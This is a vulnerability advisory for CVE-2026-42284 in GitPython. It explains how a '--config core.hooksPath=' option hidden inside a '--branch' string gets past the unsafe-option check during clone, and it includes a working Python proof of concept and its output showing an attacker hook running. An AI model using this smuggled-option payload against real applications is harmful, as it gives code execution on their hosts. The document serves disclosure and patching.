CVE-2026-42284: GitPython: Unsafe option check validates multi_options before shlex.split transforms it
Summary
clone() validates multioptions as the original list, then executes shlex.split(" ".join(multioptions)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.
Details
The vulnerable code is in git/repo/base.py line 1383: python multi = shlex.split(" ".join(multioptions))
Then validation runs on the original list at line 1390: python Git.checkunsafeoptions(options=multioptions, unsafeoptions=cls.unsafegitcloneoptions)
Then execution uses the transformed result at line 1392: python proc = git.clone(multi, "--", url, path, ...)
The check at git/cmd.py line 959 uses startswith: python if option.startswith(unsafeoption) or option == bareoption:
"--branch main --config ..." does not start with "--config", so it passes. After shlex.split, "--config" becomes its own token and reaches git.
Also affects Submodule.update() via clonemultioptions.
PoC
python import sys, pathlib, subprocess sys.path.insert(0, str(pathlib.Path(file).resolve().parent))
from git import Repo from git.exc import UnsafeOptionError
try: Repo.clonefrom("/nonexistent", "/tmp/x", multioptions=["--config", "core.hooksPath=/x"]) except UnsafeOptionError: print("multioptions=['--config', '...']: Block as expected") except Exception: pass
DIR = pathlib.Path(file).resolve().parent / "workdirb" SRC = DIR / "repo" DST = DIR / "dst" HOOKS = DIR / "hooks" LOG = DIR / "output.log"
if not SRC.exists(): SRC.mkdir(parents=True) r = lambda a: subprocess.run(a, cwd=SRC, captureoutput=True) r("git", "init", "-b", "main") (SRC / "f").writetext("x\n") r("git", "add", ".") r("git", "commit", "-m", "init")
HOOKS.mkdir(existok=True) hook = HOOKS / "post-checkout" hook.writetext(f"#!/bin/sh\nwhoami > {LOG.asposix()}\nhostname >> {LOG.asposix()}\n") hook.chmod(0o755)
LOG.unlink(missingok=True) payload = "--branch main --config core.hooksPath=" + HOOKS.asposix()
try: Repo.clonefrom(str(SRC), str(DST), multioptions=[payload]) except UnsafeOptionError: print(f"multioptions=['{payload}']: BLOCKED"); sys.exit(1) except Exception: pass
if not LOG.exists() and DST.exists(): subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, captureoutput=True)
print(f"multioptions=['{payload}']: not blocked") print(f"\nHook executed: {LOG.exists()}") if LOG.exists(): print(LOG.readtext().strip())
Output: multioptions=['--config', '...']: Block as expected multioptions=['--branch main --config core.hooksPath=.../hooks']: not blocked
Hook executed: True texugo DESKTOP-5w5HH79
Impact
Any application passing user input to multioptions in clonefrom(), clone(), or Submodule.update() is vulnerable. Attacker embeds --config core.hooksPath=<dir> inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.
Other sources
GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, clone() validates multioptions as the original list, then executes shlex.split(" ".join(multioptions)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47.
— NVD
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-42284?
CVE-2026-42284 has been classified with a moderate severity level due to its potential impact on application security.
How do I fix CVE-2026-42284?
To fix CVE-2026-42284, upgrade GitPython to version 3.1.47 or later.
What software is affected by CVE-2026-42284?
CVE-2026-42284 affects GitPython versions prior to 3.1.47.
What is the potential impact of CVE-2026-42284?
The potential impact of CVE-2026-42284 includes the execution of unsafe options through user input, which may lead to security vulnerabilities.
Is there a workaround for CVE-2026-42284 if I cannot upgrade?
Currently, there are no documented workarounds for mitigating the risks associated with CVE-2026-42284 without upgrading.